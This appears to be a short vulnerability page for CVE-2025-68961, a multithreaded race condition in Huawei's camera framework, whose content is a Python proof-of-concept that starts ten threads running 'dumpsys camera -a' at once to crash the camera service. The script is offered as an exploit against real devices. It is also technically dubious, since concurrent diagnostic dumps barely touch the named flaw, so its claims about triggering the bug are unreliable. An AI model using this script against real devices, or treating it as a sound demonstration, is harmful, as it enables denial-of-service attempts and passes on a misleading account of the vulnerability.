CVE-2025-68961华为相机框架多线程竞态条件漏洞

''' CVE-2025-68961 PoC - Huawei Camera Framework Race Condition Note: This is a conceptual proof-of-concept for educational purposes only. Actual exploitation requires specific device and version. ''' import threading import time import subprocess def trigger_camera_access(): """Attempt to trigger camera framework race condition""" try: # Simulate concurrent camera API calls subprocess.run([ 'dumpsys', 'camera', '-a' ], capture_output=True, timeout=5) except Exception as e: print(f"Camera access error: {e}") def poc_exploit(): """ Race condition trigger mechanism Requires high privileges (PR:H) and local access (AV:L) """ threads = [] num_threads = 10 print(f"[*] Starting race condition test with {num_threads} threads") print("[*] Target: Huawei Camera Framework Module") print("[*] CVE: CVE-2025-68961") # Create concurrent threads to trigger race condition for i in range(num_threads): t = threading.Thread(target=trigger_camera_access) threads.append(t) # Start all threads simultaneously for t in threads: t.start() # Small delay to maximize race window time.sleep(0.001) # Monitor for availability impact for t in threads: t.join(timeout=10) print("[+] Race condition test completed") print("[*] Check for service crash or unexpected behavior") if __name__ == "__main__": poc_exploit()